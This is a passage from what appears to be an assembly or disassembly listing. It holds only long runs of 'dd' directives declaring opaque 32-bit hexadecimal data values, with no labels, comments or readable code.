		dd 0CEE95F04h, 0E33BC8BDh, 488B1641h, 80AE2B2h,	0D04CA531h
		dd 0F7D15295h, 0F01701h, 1C56B450h, 0C57BEC80h,	1F69BCCh
		dd 5122E4CCh, 0F90171B5h, 0C276917h, 0B24C6715h, 97E7AC61h
		dd 0E9592A71h, 768090FDh, 9954D125h, 0D877F748h, 0BB3C3B00h
		dd 0FCBC2D67h, 210E25B1h, 6258758h, 898EF91Ah, 51F9DCB9h
		dd 0DF213112h, 66028FD7h, 24B6FDAAh, 0B882CF0Ch, 5FB0859h
		dd 0F32C1709h, 6556A5E5h, 4FA15A69h, 0A5BCA253h, 2CD83CEBh
		dd 0B3CA2586h, 0F32EDB9Eh, 57C0934Dh, 982D3078h, 7C4F1DE0h
		dd 60E9C4EFh, 73D9BE10h, 735CE020h, 0A80A4012h,	0F544ED13h
		dd 14909D12h, 0D7F9DCE9h, 0AE31017Bh, 401D6B75h, 0FB7D3F08h
		dd 0FEE96A0Bh, 880174C1h, 541FDE5Dh, 18806B12h,	2D5AD689h
		dd 16E4C629h, 12BE96A0h, 4C9C0649h, 2E660461h, 54E070E9h
		dd 6A4C2D68h, 0C5A70AD1h, 0B8500063h, 28F60F55h, 0C8FBE926h
		dd 4046692h, 81003998h,	1449C6F1h, 0E1C15A0Ch, 123D1204h
		dd 0FEDEE8D9h, 5402AA13h, 0C2D27C43h, 419405Ah,	6361580Dh
		dd 34081C68h, 5614131Ch, 5765C86Fh, 77314540h, 9B1124F0h
		dd 0A355693Bh, 68E9DFAh, 0CD2C7FFh, 0F8166467h,	0FE8C5B5Fh
		dd 4B321C2Dh, 0D894BFB6h, 9D750705h, 0E201574Ah, 1DC7574h
		dd 3A7FFEBh, 0FE0194D8h, 4F4CA264h, 6428B4E9h, 9F5D5B37h
		dd 0BCF427ABh, 0EF7F5949h, 429523F2h, 21BEB701h, 467B1277h
		dd 398423Eh, 2E5443E9h,	6D96AD18h, 0DF704C6Eh, 0EFEE931Bh
		dd 897F44B0h, 0F3A1624Ah, 5D842A28h, 0D1DA1BB0h, 0D4D45F9Dh
		dd 63583F5Bh, 1CF1490h,	73432FB9h, 1B34D10Fh, 4A97F42Bh
		dd 187811Bh, 89CE40C3h,	3A637E3Fh, 0B065A10Ch, 4ABE685Ah
		dd 7A223D6Eh, 8B086DD4h, 44BA2812h, 6C09C38Dh, 5D523D31h
		dd 8E541E0Bh, 2CE977B0h, 0A26ABE1Ah, 0DE23227Ch, 1F28C306h
		dd 970C2978h, 5BA0DEDAh, 1B047AD3h, 0ACEAE910h,	3C28000h
		dd 6813D2F6h, 5FAC3349h, 597004D6h, 755D09DDh, 0A0D2828Bh
		dd 39A7FB20h, 0C213D031h
		dd 1C819550h, 7EFC2556h, 471202A6h, 0F8C075D2h,	0AE7B270h
		dd 3FF16645h, 0A7A517E6h, 95345B8Ch, 0F23C84BFh, 820869CAh
		dd 10305E0h, 2F2B0A68h,	41C07CCCh, 870B60EAh, 0B870D760h
		dd 0FE0C7F33h, 4CF4266h, 6C184D01h, 806BB89h, 2073040Ch
		dd 0D85E28A8h, 0C8090FA1h, 6646F668h, 8CEA3579h, 299E0F73h
		dd 3556B760h, 793D5718h, 39B31E27h, 0E7E99787h,	8EBD8ACAh
		dd 0BE9E0A06h, 0B1666C43h, 16ACD023h, 2668F2C5h, 0C0B77B50h
		dd 8281156Fh, 0C39DA392h, 40CFB251h, 1D2F9D06h,	0EC461C4Dh
		dd 0B05E97C2h, 0EF402AE0h, 2502778Fh, 67E78C95h, 0E2E5BB12h
		dd 319B873Fh, 640EE9CFh, 594E66C2h, 51C532A2h, 0DE5DF915h
		dd 7E02A3C9h, 2DCE40CFh, 21F8187Fh, 27293340h, 0BF9459CAh
		dd 2DA44C95h, 237B0BFCh, 0B402F8A6h, 0E008ED80h, 32E91CCDh
		dd 66280F7Bh, 216C2166h, 0B05365E9h, 0E6392F0Fh, 22FC031Ch
		dd 27B7B95Ah, 478F7361h, 908F7A40h, 42E8E909h, 5B24C466h
		dd 81660E3Bh, 30CD0938h, 87E8170Ch, 0B69C4020h,	330DEE79h
		dd 2EE90BA1h, 0F36C635h, 28A27B47h, 507BF4F7h, 73E995A8h
		dd 0F7F3F454h, 160D70EBh, 0E620CD98h, 0D4F63D96h, 0DA6083CEh
		dd 0FAEA1AE2h, 0FB614355h, 780A7C9Ch, 0AB30D227h, 0DF68303Dh
		dd 8AFC63E3h, 0B14B7B32h, 0D6503F0Fh, 98349FF5h, 2BF0F2Dh
		dd 0D349864Bh, 552C3856h, 2D6C5D7Ah, 68525301h,	61205D22h
		dd 32876FAh, 0C91595Fh,	0FC3E2A00h, 0D389AB70h,	0E50B30E9h
		dd 67DC699h, 584AB570h,	2902DDB8h, 8918263Bh, 0D5C9EAD6h
		dd 3686981h, 38376B6Bh,	0C8AC2934h, 611F8791h, 0B1B8529Dh
		dd 0C293BDBh, 0CBD303F8h, 67114E1Ch, 238E8202h,	0D54A410Ah
		dd 0B9345580h, 8F2F6842h, 7C601h, 1948384Fh, 565DEE29h
		dd 0F85B0A90h, 53E18CC9h, 12D9478h, 79AD3AFBh, 0A4E94296h
		dd 0E200E7E4h, 0C1685657h, 0BD7AC946h, 0C80319E7h, 4712712h
		dd 1AC7560Ch, 7A9DEA9Ch, 4A73530h, 316D876Ch, 4A2283C7h
		dd 60C14302h, 70B685DEh, 88D18000h, 7D2B2E28h, 0E42C131Bh
		dd 0A2A9E495h, 0A2612066h, 7020D66Bh, 0A31897F4h, 0BFFAD231h
		dd 0B1162492h, 9401887Dh, 0BB0453B0h, 0E82CD8C0h, 0C620095Bh
		dd 92E2F2E9h, 9820C67Ch, 0E8ED474Ah, 0D541489h,	5AFFE958h
		dd 84EEA2E3h, 14BC6929h, 0E9DD88C1h, 6769F326h,	57A27FE6h
		dd 0BA05207Fh, 9EE3281h, 62340821h, 7A939F5Fh, 10EF10F4h
		dd 774CC6A0h, 1E8B8525h, 0D8310422h, 0FD59EEF6h, 30587B87h
		dd 39A782C8h, 4E6DE657h, 0B4F3BC59h, 3388F6F2h,	0B8D9E906h
		dd 51F301F7h, 89DF316Ah, 621D7BDDh, 0A5F13FF0h,	0AD4F2C3Dh
		dd 92EC2847h, 2D731Bh, 2511EA1Bh, 4DB03405h, 1FCC09Dh
		dd 48102530h, 0F6817360h, 0EA3F4000h, 5EF13170h, 0F3C89F2Dh
		dd 5538C829h, 13D42EE9h, 0B6B5D953h, 0B7E0903Bh, 54761D6Fh
		dd 595D510Bh, 0F8F68441h, 35685806h, 0E9A080E0h, 0E59028E3h
		dd 0EC92CEEh, 1C9CC48Ah, 0DD05E7C0h, 0EED09CEFh, 6172168Fh
		dd 803B1E7Bh, 3504E84Fh, 0B6116859h, 10E9611Ch,	120519h
		dd 0A5E2AEB8h, 0EFEC84DAh, 0CC71890Bh, 59D5809h, 0AEC067C7h
		dd 321EFA9Eh, 6FF0CA40h, 32E91D68h, 0F26D1A50h,	1C2F140h
		dd 0C8008176h, 2D4B08B7h, 73BA29F6h, 0E9D01641h, 14678593h
		dd 5CE0701Ah, 9CB0C138h, 74888524h, 80FC6552h, 0B25278B1h
		dd 0D13B20BFh, 59B6005Ah, 8608E6C0h, 0D2CFE2FEh, 8C01AF08h
		dd 2DB45066h, 0E9FD0E85h, 965947Ah, 84FA59EEh, 0C25ABA94h
		dd 6C75897h, 1A63A4BDh,	0A392FE68h, 0A573C7BDh,	0F35F4BE4h
		dd 3AEA4790h, 43D83D55h, 25C59EF5h, 0CC9776D8h,	28CA5C09h
		dd 125A285Dh, 775C0029h, 0D9014EE4h, 67DF6812h,	7980FB34h
		dd 3D8635D7h, 4102BA5Dh, 92E9F15Eh, 2809F7D4h, 86E102D8h
		dd 7C4509EBh, 0BEE94931h, 0E91B132Fh, 4F20277h,	0D158DC1Eh
		dd 0CD853E72h, 0B84B48C8h, 95268385h, 0DD99E7B3h, 4A210230h
		dd 17A8384Ch, 0ACAC411Bh, 45C580E0h, 0E9EB2805h, 9720FD3Fh
		dd 9084448Ah, 3EB62036h, 40ED8325h, 36EEFDh, 0E3815D3Fh
		dd 3C721FA9h, 250E4B67h, 600A6472h, 10082818h, 73295327h
		dd 27B9EA4Ch, 5CC7019Fh, 0B32FAC68h, 21044AB3h,	74D3E806h
		dd 618800FAh, 5F560321h, 829ED001h, 74ED669h, 41F56135h
		dd 3AF33DE9h, 285B7DCFh, 5B35E9E3h, 651431C2h, 0F7687A04h
		dd 15BCCFEDh, 125115D5h, 20C85E53h, 0AABE0056h,	814C4D65h
		dd 1E02D2E6h, 7A686721h, 80095119h, 730C62E3h, 9A544AE9h
		dd 5C70F1B1h, 92066F3Dh, 37EF2F45h, 52A99000h, 28C210E2h
		dd 0FF3C2120h, 0E36D2980h, 294B2E73h, 37E9B4E4h, 6B55ECEDh
		dd 0C5BBFCBh, 84BCCB56h, 9102825h, 0A50768D2h, 5FFB8931h
		dd 0D8A092FFh, 0F4576B5Bh, 0CD1E17D2h, 77CF7039h, 0D83B8953h
		dd 0C1801C0Eh, 5AE5FC50h, 0FD841D9h, 7A954484h,	9B688721h
		dd 0E9C28528h, 93572164h, 0C279C103h, 8A03986Bh, 0B8BC214Ah
		dd 0A598E5E7h, 3D043FF1h, 0F012AB3Dh, 0CE08F364h, 894F8C28h
		dd 2000CA29h, 2FBE1074h, 302FD095h, 0C7DD8616h,	575FFEC4h
		dd 2F125185h, 80B47FE8h, 8426B10Eh, 0E106657Ch,	6CAD2F58h
		dd 7E9B0F0Ch, 0C9800E0Ah, 1E5B632Bh, 98C7D2A0h,	6FE1A426h
		dd 280925A9h, 0B61455B8h, 0E3512794h, 3B505A11h, 769050C4h
		dd 1309E6B9h, 16494E06h, 20A0F5E8h, 3028D6ADh, 649EF9E2h
		dd 0B213A721h, 9AF43CE1h, 4F81BE85h, 8F605AA9h,	825685Fh
		dd 3B8D6649h, 137C3E88h, 9514F756h, 0A5710124h,	80163867h
		dd 5B77A70Ch, 0B409E925h, 24BA09F7h, 4A530F55h,	0C185EDA2h
		dd 0BCC203EBh, 558023Dh, 91F965Fh, 0F80F502Dh, 0C7A92906h
		dd 1B6A4880h, 30229232h, 7B002901h, 14D96985h, 23B50CD3h
		dd 2F680CA7h, 8D92C4E9h, 1340BF04h, 10FA7395h, 0FC02D9ABh
		dd 5715A812h, 83A86FC5h, 0D8ED5C29h, 0F6170A5h,	237A5A25h
		dd 795847E9h, 0F3FE7BFAh, 92162C3Dh, 0EBAD8B6Bh, 4411710Eh
		dd 0B6D2D46h, 0E9C30104h, 31D841DAh, 550E9F0Eh,	55FDB3EFh
		dd 57013BB1h, 0A4B5F2BFh, 51C56E10h, 27ED6E50h,	5BBD4484h
		dd 1A1DF054h, 29493F24h, 0BBAC502h, 823A6009h, 4CB280F1h
		dd 39E8FDA1h, 6FACD274h, 3293680Bh, 0ECD573B0h,	5807B09Fh
		dd 9AB19C10h, 84408570h, 0FE1C1F7Eh, 81404E66h,	1E086C6h
		dd 0BC70D299h, 6C208028h, 4AF73066h, 9DA6B1D0h,	0E0800606h
		dd 0B5AB0507h, 0A1D54A6Ch, 27F52EC2h, 1244B9D8h, 85520C3Fh
		dd 0A84812FEh, 9D80A48Ch, 251EB2EAh, 1650FB1Ch,	814F572Eh
		dd 7503CA89h, 7903E1Eh,	4F2B948h, 5FF821D7h, 473591BBh
		dd 814DA6h, 8F171BC8h, 0EDE4714Bh, 983E05C1h, 0EE7C2926h
		dd 0C13FA34h, 598110F2h, 3C563B68h, 602BD0EDh, 0DF46D462h
		dd 0CF810245h, 75FA3BE2h, 250DB60h, 1519812h, 7DE96249h
		dd 4B5FB59Ah, 0C832DAC1h, 0B8CF88B1h, 6E71ECAh,	0FEF38551h
		dd 0E3F883CDh, 0DFC1BF9Ch, 312DA13Eh, 12D6FB10h, 57ACD831h
		dd 0DCEC584h, 412E2E59h, 0DF15EE83h, 2DD425Bh, 0F8037BD0h
		dd 0E96F7C57h, 0BDED01EAh, 72D529ADh, 60FF6101h, 0B8F0BF69h
		dd 0E7C458h, 0F80D405Ah, 2F6A72h, 476CA505h, 0D7C03561h
		dd 0E9B7D92Dh, 0D5C6D1A4h, 0F9CA5E9Bh, 0C427527Eh, 5F687B2Bh
		dd 0F9573117h, 0DA8C3F61h, 75734DCAh, 81272792h, 7931E9F5h
		dd 26EF021Eh, 402FB73Fh
		dd 0D08180Dh, 0CF013D77h, 0E908011Ch, 6564EEA1h, 0F2128900h
		dd 3A29BE0Dh, 9377440h,	1D4DE9CEh, 0E958AB79h, 808269C8h
		dd 68091D54h, 0F598754Dh, 304A77B0h, 0BBD63881h, 52B82A82h
		dd 0C3614414h, 5F91504Fh, 5095E6C1h, 5D5E1740h,	4230F0D3h
		dd 7B269100h, 1EE9F201h, 57FB97DBh, 0E66DA5BDh,	98C4971Ch
		dd 0B9DB8FAh, 699174F5h, 16835E04h, 0CE400F04h,	0D2565B07h
		dd 0BFD1F420h, 50D3A53Fh, 2FE59D5Ch, 0CFA133Fh,	0DEDE66E9h
		dd 226927E7h, 0CCB33C5Fh, 406B5531h, 0E09757A9h, 7539DB8Bh
		dd 0D1BB1E53h, 0D3F74F7Ah, 0E4CB8181h, 0DB109078h, 2DD6C30Fh
		dd 9D14BAB2h, 5AD71829h, 4F8BC71Ah, 20B6A2F8h, 91405A3Ch
		dd 3381F7AEh, 489758CFh, 24BF057Eh, 0B9012973h,	0CBC70F55h
		dd 31E5822Ah, 80DBB0E9h, 7B206839h, 9D587596h, 35042AFAh
		dd 158719E6h, 0C9DFC0BAh, 2EF36B25h, 0DE926781h, 5313E963h
		dd 4B38A654h, 0D6B8761h, 1AD34138h, 445F10D7h, 7894978Ch
		dd 2C2DCDABh, 320BF1E0h, 14750258h, 0B0E91352h,	0C476FCD6h
		dd 310317DEh, 0C2035EF0h, 10B5B325h, 890E0551h,	0AC769D33h
		dd 0A6DC2A43h, 0C7CA439Dh, 9D10BA36h, 839D1A7Bh, 45AD1AFh
		dd 0FC4212E9h, 333583E9h, 51BAB121h, 0B53C0BB0h, 63168B78h
		dd 8701FA29h, 4B54482Bh, 3E4E9600h, 81F99980h, 0FA296E5Fh
		dd 952815FCh, 0E3AEA73h, 73347B31h, 1A96F850h, 75260EC0h
		dd 9F54E589h, 15FD3245h, 7F0BF506h, 929D8E8Fh, 32827F6Ch
		dd 0A645F355h, 0AAC2BE3Eh, 303BAE1Bh, 2B3793E8h, 0FE906DF4h
		dd 1CD9CF0h, 4B3192BAh,	0C227716Bh, 7A02440Ah, 80183843h
		dd 0DD517191h, 76A906Fh, 120819F7h, 99C07E4Fh, 21C4F852h
		dd 0C6C9C1A3h, 7603A7FFh, 0F600BD01h, 2E9925A5h, 2D4042E9h
		dd 820BE64h, 813D8075h,	356F087Eh, 0A4F0F829h, 3E009A99h
		dd 82D0EDC1h, 168513C7h, 0D2830C42h, 0EB4E291Fh, 0AE314893h
		dd 2FD6994Dh, 332008F8h, 67A5BF96h, 5B8EA8D6h, 0CB5F43CFh
		dd 28F45E05h, 0D24C4E68h, 0B4584F40h, 1809215Ch, 0EB57E4B5h
		dd 0F2341E2Ah, 0F687CD79h, 601FFD16h, 283E1D93h, 766F26E5h
		dd 75BC299Ah, 0CC863081h, 0ABDF44E2h, 520C899h,	0F27B0519h
		dd 10C6016Ch, 0E90908B3h, 19F713CFh, 9B2CA463h,	5C80178h
		dd 159F63BCh, 302F2159h, 0FCB48EBAh, 42D30142h,	0A5715CCEh
		dd 0E07C889Ah, 0E92B81F2h, 4EA57F96h, 1DBC3D14h, 29EE3B92h
		dd 5B053379h, 0A5E948D1h, 0F32E5765h, 0EED311h,	7A5C69C1h
		dd 6B63B920h, 89E9310Bh, 0C97BAE95h, 0AFF33B06h, 335DEF09h
		dd 2CBBD91h, 395A231h, 80D993ABh, 953C8816h, 0B92D3585h
		dd 242B4861h, 7EA79551h, 0CC41F2B5h, 0C35A03DAh, 0F7F0834Ch
		dd 0FB127749h, 2F46EC60h, 8173F500h, 90116FC1h,	0CA70976Ch
		dd 4B152149h, 7A40FEDh,	0AE6852BCh, 25E1F712h, 2032D901h
		dd 145678D3h, 71AC3FE9h, 3379370Ah, 5BDD028Ah, 94CA4068h
		dd 81E34BDCh, 2C2AB8EDh, 0D5013410h, 72081AF0h,	2F7995F7h
		dd 0E86BF65Bh, 80BA7790h, 629DC121h, 0F31C5FF2h, 1A4123B0h
		dd 40FADC20h, 581EBA2Ah, 0F7891274h, 34F202D2h,	0F77E4C6h
		dd 7AF58004h, 81A34169h, 908022B8h, 0A00351Fh, 0D153478h
		dd 0E8E327A0h, 39AA0705h, 61487F0Ch, 0C932BE8Fh, 0EB5D6421h
		dd 0A22DC901h, 0BB23E97Eh, 60A3892Ah, 9C96C444h, 1CB843h
		dd 1BD405BDh, 86E9228Eh, 0AD540797h, 360FF6B1h,	9C36C0C6h
		dd 77AA0963h, 4E61DAF7h, 0EA81C44Ah, 3D08920Bh,	4514ED3h
		dd 0F016D12Dh, 41AABC02h, 6C8D4007h, 577B9129h,	9644991Ah
		dd 14FB4110h, 0CA88C014h, 5303F2Eh, 1AF50C7Eh, 0D54148EEh
		dd 0E8968C85h, 45129E57h, 0CEBD7B40h, 9055050Fh, 605E0905h
		dd 130037DFh, 0CDE278Bh, 19BFE916h, 0F7CB5AACh,	1001CF02h
		dd 0DD07A7FDh, 0F59ED782h, 0B5C73093h, 16F8C8C9h, 59C8994Bh
		dd 528D1748h, 812FB143h, 0C6959314h, 557C296Dh,	244B59B3h
		dd 9CC84988h, 0C6EAAFAh, 77B260BDh, 1750C26h, 0EBE97208h
		dd 2E952880h, 62C6C77Eh, 0A9C06855h, 4AB70FCAh,	12AC73C9h
		dd 0E20ED359h, 2F3EFFB9h, 1AF344Eh, 0D529704Ch,	0E7E8EF5h
		dd 326F6400h, 0E77CFD05h, 12573E36h, 8FC9422h, 0F5110D9Eh
		dd 40F62F10h, 5D5E94Fh,	1E7668ACh, 3AB72ECCh, 9B33E98Bh
		dd 81C5666Fh, 2A12CBB0h, 6A022AE3h, 5F522228h, 0E929B055h
		dd 0E48F4F1Fh, 0EE962363h, 4A3BC0B9h, 0B775E888h, 5158C200h
		dd 8E916B1h, 0DA8A09CAh, 34B54BF9h, 0C1F770EFh,	31740BE8h
		dd 6F596815h, 0AFD44A63h, 0ECC90BAh, 28092A06h,	183DEF7h
		dd 9A64E9F1h, 892DF62h,	8E2C2913h, 5C4C114h, 208602F9h
		dd 0E9090BA8h, 39A4B9C6h, 5B0EB3C8h, 61F457E2h,	31F4CFFh
		dd 0CBB25A54h, 9C532EA1h, 213AF400h, 0D7F0BB76h, 0E8E2120Bh
		dd 31A84E51h, 4358A4B2h, 0C91C90B7h, 5BEC176Bh,	53400042h
		dd 6F43DBBBh, 0E950600Bh, 6B2CB8Fh, 0F746FB40h,	679F9641h
		dd 0BE2630E2h, 81315ACh, 81B14633h, 3C36CD2Ah, 0ED444FD3h
		dd 31AE950Fh, 73BB84Fh,	497B98D3h, 493F218h, 9DAD997h
		dd 94B275C3h, 43755C1h,	46C07280h, 59F27B55h, 2812C3D5h
		dd 0B4B2F8C8h, 0B59AECh, 0CC888539h, 4E20E959h,	0E92D4AFBh
		dd 0D29575D8h, 0B35B95E2h, 0C1870E32h, 0B52BEE18h, 26F32EBAh
		dd 85B64E7Ch, 592CAE29h, 0F73D40A6h, 0F181D901h, 6BB775C4h
		dd 0C11C806Ah, 52D0360h, 76A5419h, 849C4BBAh, 0DEC4BA4Eh
		dd 56A0DBE8h, 155FBEE9h, 4202D240h, 0A1C5F281h,	386106CFh
		dd 50D4003Fh, 0EC8045B4h, 0F400B773h, 58E328F3h, 0BDDF68E9h
		dd 3C8EC0A8h, 0EF2B0313h, 0C7BAFB30h, 0BCF3C2Ah, 0EB5AD093h
		dd 8F587846h, 1040E1E8h, 0C47AAEE9h, 0E0E7D14Eh, 0BD9C0C19h
		dd 0E411E8C2h, 670A0B13h, 37FEAC64h, 94CF3B89h,	88789D6Eh
		dd 5A66A61Ch, 78685182h, 5350A04Fh, 2BE975B3h, 271EE437h
		dd 7EA73059h, 57855837h, 2660F03Ch, 722740FAh, 4AC7EC72h
		dd 0A50EA9E2h, 5FE9F02Ch, 0E63A975Fh, 120FDE58h, 0C914DD52h
		dd 0BEF6A0E6h, 1FE1EE0h, 5BF68151h, 0D850F802h,	57040EE6h
		dd 0D6F7345Ch, 0C1292F87h, 0C0DE510Bh, 332E4426h, 0BA687FEEh
		dd 0D3B51B1Ch, 610EE812h, 6809903Ch, 0D51A46E7h, 0C3DF4D60h
		dd 5CA766B1h, 0C49108A9h, 1C6F0905h, 79D1BE04h,	9C805C09h
		dd 325F743Fh, 0ECE8180h, 16085A65h, 0FB01EEC6h,	4DE6C13Dh
		dd 91C55E5Ah, 680A79B8h, 8B426C02h, 0E1E069E9h,	1F24CB25h
		dd 0BD0B33D3h, 98E466Ah, 1DDD77C7h, 8DA91490h, 97AB4697h
		dd 0F7175851h, 0EFC141C1h, 9C77130h, 3BA77401h,	0D0EABA0Bh
		dd 0ED767E89h, 3A03B7AAh, 89072837h, 584BFACFh,	0E30DBDA0h
		dd 0ADC12BD3h, 83290203h, 0E113E90Ah, 2C1488ADh, 80BDF9A0h
		dd 0D156AFFCh, 4894D81Ah, 82314E79h, 515B8A1Bh,	0FC29CE60h
		dd 0A97C2BE9h, 4F1891B9h, 0D2E17193h, 27D5D612h, 9056DAFEh
		dd 5F275C7Dh, 6E4CE680h, 9FF84F86h, 0C6E4214Fh,	403C1E2Eh
		dd 0CA16E62h, 5BCF936Eh, 868C144Ah, 0F51B414Ch,	3CD7BFEh
		dd 277F612Bh, 5A1A4B3h,	77073503h, 5683A57Ch, 40EC8A69h
		dd 80E2ED47h, 6F03C1BAh, 0F7920767h, 4FC09CD0h,	0EA23F344h
		dd 195427E9h, 405131DEh, 586D043Ah, 69E58A05h, 0F9997F92h
		dd 26987B0Eh, 412C8183h, 237EF83h, 7BF9E401h, 0D1362555h
		dd 0C2BDF596h, 0CDB776B3h
		dd 8E9AED0Ch, 0E9C35C25h, 0F6C9E150h, 0DCE5A842h, 21EB8111h
		dd 6A364373h, 6908C550h, 0B590FD1Ch, 0A09FD35Ah, 53DF35CDh
		dd 58646BFEh, 7242A248h, 9BA4945Ah, 68E07FD1h, 259BA79Ch
		dd 65AC285Ch, 0AE30A713h, 83401A68h, 639B75E9h,	0A4AC4AAEh
		dd 0DD0DE5Eh, 35FF8CE9h, 0E1A94B7Ah, 44F3C56h, 1E919F6Fh
		dd 353E5A93h, 2742AE04h, 7CA410E9h, 54ED53B5h, 9D0548C5h
		dd 0ED0F6658h, 7ACC2F86h, 2C310C1h, 4D5C2E87h, 0F430B12h
		dd 98EAED80h, 1D521AF5h, 0AE3062B6h, 91130BC9h,	0A2DEB96Ah
		dd 0A9F1B10Bh, 175C56D2h, 0E498C594h, 4703FCE9h, 593534BBh
		dd 0C7CC4BA9h, 57439F9h, 0B010A504h, 501BCF82h,	0CA964C08h
		dd 50560A73h, 0A497585Eh, 0A6AB4253h, 0F650C376h, 0DE9CBF39h
		dd 78E9FD08h, 0B0500128h, 40B5B172h, 0EB8058F6h, 0CB139070h
		dd 0E6844AE9h, 3C046CEAh, 1568640h, 0E548A568h,	3A465E52h
		dd 916F6F93h, 0E13B9EBCh, 41A12EEAh, 0A22B32FDh, 0F76196F4h
		dd 2E09BD55h, 0C0C50787h, 0AEA7D509h, 76BBA6A8h, 0F664B0Ah
		dd 1730704Ah, 80A1C328h, 0B0A03860h, 3AA94134h,	2B53670Fh
		dd 5DA5C271h, 0C6603E40h, 2D7A6D00h, 0F380688h,	6C681657h
		dd 504B302h, 73710BFh, 0F7EE04FBh, 0EE09FFDBh, 27FF56ADh
		dd 926805Bh, 96EA4525h,	0B4C7E801h, 5E84CEBCh, 7805DBDh
		dd 189E09Dh, 0D4D397CBh, 0D039B81Ah, 975379B7h,	34855241h
		dd 2E2568C6h, 9E96183Fh, 0FA527567h, 89314995h,	22A62916h
		dd 8C8296E3h, 0C3DA8339h, 603B9B05h, 26D7316Fh,	4849EC30h
		dd 0EB29270Eh, 0A3BA8BD8h, 2375F527h, 9A80023Ch, 0D6F1E0E7h
		dd 0E9E20C88h, 0EDD7C1E0h, 80A660Fh, 27456919h,	31A05EAEh
		dd 0BB70FC3h, 0C9C68C0h, 0C92FD9C6h, 20B494B9h,	590F9546h
		dd 2402E2C0h, 43AA0B48h, 1467607Ch, 2114A1FDh, 0F8F43BEEh
		dd 8FB49E9h, 9A37B67Ch,	51425934h, 804C47FBh, 416712E8h
		dd 8F30C77h, 0EEB05D24h, 0E19FB6F0h, 2D3E5904h,	30920325h
		dd 84F69F0Dh, 0D1213E26h, 0E9A9456Bh, 0B0A0D53Eh, 0B29F52F4h
		dd 0BC2858C0h, 0EE7F7A74h, 0FAE91841h, 0F3BB4EF7h, 1A477F07h
		dd 0EEC5E3D1h, 6A9E5EEAh, 951AB0DBh, 9E80BA5Ah,	54EA133Ah
		dd 0AC10295Bh, 535A2E08h, 2D45B052h, 0D97916DEh, 5A10BB69h
		dd 88B0407h, 99FB5A58h,	26CE264Bh, 5FE40554h, 0BC78BBFh
		dd 80713F15h, 8FDC96Bh,	4B6B8F0h, 0EC007C1h, 59AD83C4h
		dd 2F629201h, 70254B74h, 48CC5CD5h, 19020235h, 42E96D30h
		dd 0BD00FA58h, 5E842CF8h, 2563C6BFh, 3956A58Fh,	790B002Fh
		dd 9037EC77h, 0F4C009E6h, 6F7E9453h, 0C8E2C6A9h, 0B300FD89h
		dd 543BA8E9h, 770B3258h, 2BBD749h, 0FB3E1FBEh, 0DC344106h
		dd 0F02AE8EDh, 113F9BDh, 4EA7AE4h, 0E8463FEh, 423BC95Fh
		dd 0F48A465Dh, 0B80C4BC6h, 7EE2E740h, 9751D1C4h, 5CF1826Ch
		dd 4000667Fh, 9E006874h, 5D59115Bh, 1229CD81h, 0BD4D5125h
		dd 803D0445h, 8FB1A2AEh, 0E080320h, 1467A02h, 80422DAh
		dd 0DA1EA858h, 77B329B6h, 6816319Eh, 92CC43A3h,	6025410Bh
		dd 9F4EEFDFh, 9687888h,	515F277Dh, 425FE9C2h, 1A7D88Dh
		dd 7E222B16h, 641841E9h, 0D04FC9D6h, 4D9F9EA8h,	230A73A5h
		dd 281E64C4h, 60FCCDBEh, 0C6BD26E4h, 5F22F251h,	344ED6BAh
		dd 58C2394Eh, 428DFE5Fh, 0C7480D0Ah, 4D7FB7F7h,	40A1615Fh
		dd 9DF282F8h, 396B245Bh, 3A28EF51h, 33992D5Bh, 108C5993h
		dd 3116B191h, 84A4A3D0h, 10B8887h, 4FF4DE72h, 13ECAB4Fh
		dd 0D9D0E2E7h, 0F4271ED9h, 0C0DB4A82h, 363323BFh, 7A9074Ch
		dd 209E410Ah, 6EEE760h,	183E606Ch, 4D405A80h, 0E001CFF8h
		dd 0E9371E30h, 376292E5h, 9DFC4425h, 0B7531A82h, 6F687503h
		dd 66B988D8h, 0ED42E665h, 5FDC51E9h, 0A74AAF18h, 9F7AE8B7h
		dd 1FC94C5Fh, 204EF703h, 0C2B079D8h, 45255044h,	50BEF82Eh
		dd 4A5F08EAh, 6EAACD58h, 68F9CE90h, 0F73EF788h,	77A51601h
		dd 2AC504ECh, 98F8E2CEh, 13ABB098h, 1630BBB1h, 66A70407h
		dd 5031AA59h, 0F7E5752h, 12A02B65h, 48B56855h, 0A34EE7C4h
		dd 0ACD302FCh, 0BB53015Fh, 0E1412CCh, 0D054933Ah, 67E91109h
		dd 9FC4449Ch, 594BE39Ch, 54AC33D8h, 9B9CAE5h, 58564B14h
		dd 7B1604F0h, 16BA6027h, 4B56FC63h, 0FF5B611Eh,	0BF0C0503h
		dd 0FAF0EEF8h, 48453A17h, 27BED411h, 1788286h, 0DC5247D6h
		dd 84474A58h, 0EB233868h, 50504D98h, 90D48D57h,	3B385C14h
		dd 3E307A10h, 10F0FF5Bh, 909ADB92h, 4B58BEBCh, 9E189FC4h
		dd 0E22F79F0h, 589FE425h, 0FA056D07h, 0FB234B1Ah, 1C92611Fh
		dd 5CEE32AFh, 202C44D5h, 0A780717Dh, 5031198Dh,	9BC39C3Dh
		dd 0D4C71981h, 6EFA8318h, 5C4A550Bh, 39C22775h,	956096D7h
		dd 0FB227CC5h, 0C7685609h, 0C464657h, 0FE66FE0h, 401653B6h
		dd 0BB806244h, 4A5DD070h, 27C3B892h, 31178225h,	0E22E8B04h
		dd 6226FC7Ch, 97D0DE9h,	6F437CDFh, 0AFD81765h, 91CB648h
		dd 83CC5A3Dh, 263FCE3Ah, 0EB104906h, 3A3A24Eh, 8210FEE3h
		dd 3D0C057Eh, 0EC372545h, 7778A9EFh, 0FDA6C812h, 0F8F945A5h
		dd 0F6256851h, 5879DC79h, 0F4107E9h, 2E560020h,	82926DD3h
		dd 301105ADh, 91FEA57h,	0CCD10208h, 0F168008Dh,	4E7A5D58h
		dd 14A8ED34h, 5BEE78C0h, 6A260563h, 606B4268h, 0A6349DC3h
		dd 637A2169h, 0B9F8EBC1h, 0F26EB5C7h, 8157DFEDh, 6C8A4FC0h
		dd 0F0037924h, 8211B1C2h, 663A6859h, 0AC7FC0A3h, 61D8575Ah
		dd 502EFC55h, 0BD6C52F7h, 61FCAFC6h, 0D5A649B7h, 0B553F03Ah
		dd 0B03072h, 49519340h,	91148EFEh, 0A497FDB6h, 5FFE29FFh
		dd 0F114C095h, 0A9CE88E4h, 13433217h, 6004511Ah, 2CDD63BFh
		dd 2833F03Bh, 0EB2E44F5h, 1C3F9201h, 0E6968DAh,	0ED4BF467h
		dd 6FD91665h, 0FA1076B6h, 0CC680909h, 67BE540Fh, 0B32F254h
